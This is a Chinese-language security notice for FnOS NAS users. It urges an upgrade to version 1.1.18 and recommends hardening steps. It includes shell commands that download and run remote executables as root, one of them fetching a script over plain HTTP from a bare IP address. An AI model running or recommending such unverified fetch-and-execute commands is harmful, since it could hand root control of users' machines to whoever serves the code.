飞牛系统重要安全须知

飞牛系统旧版本存在严重安全漏洞,官方已紧急推出 1.1.18 版本完成系统加固,本次更新为应急处置版本。

官方短信通知如下:

重要通知:系统已推送关键安全更新,请尽快升级至1.1.18。2月2日22:00后,低于该版本将停止中继服务。

同时为保障你的数据安全,建议立即做好以下防护操作:

  1. 关闭 Fn Connect 功能

  2. 修改系统默认端口

  3. 禁止 IPv6 地址外网直接访问

 

以上操作可有效降低数据泄露风险,同时请及时将飞牛系统更新至最新版本。

设备安全检测

请ssh登录系统,执行扫描漏洞。如果发现已经被入侵,建议直接重装系统。

sudo curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec

 

如果无法更新,先按照以下方法测试

sudo curl -s http://47.100.24.236:50000/fix-dns-and-update.sh -o /tmp/fix-dns-and-update.sh && sudo bash /tmp/fix-dns-and-update.sh && sudo rm /tmp/fix-dns-and-update.sh

执行完命令,没有出错提示,就去web端检查更新。

如果检查不到更新可以执行以下命令:

curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec scan --check-liveupdate

同样执行完命令,没有出错提示,就去web端检查更新。

THE END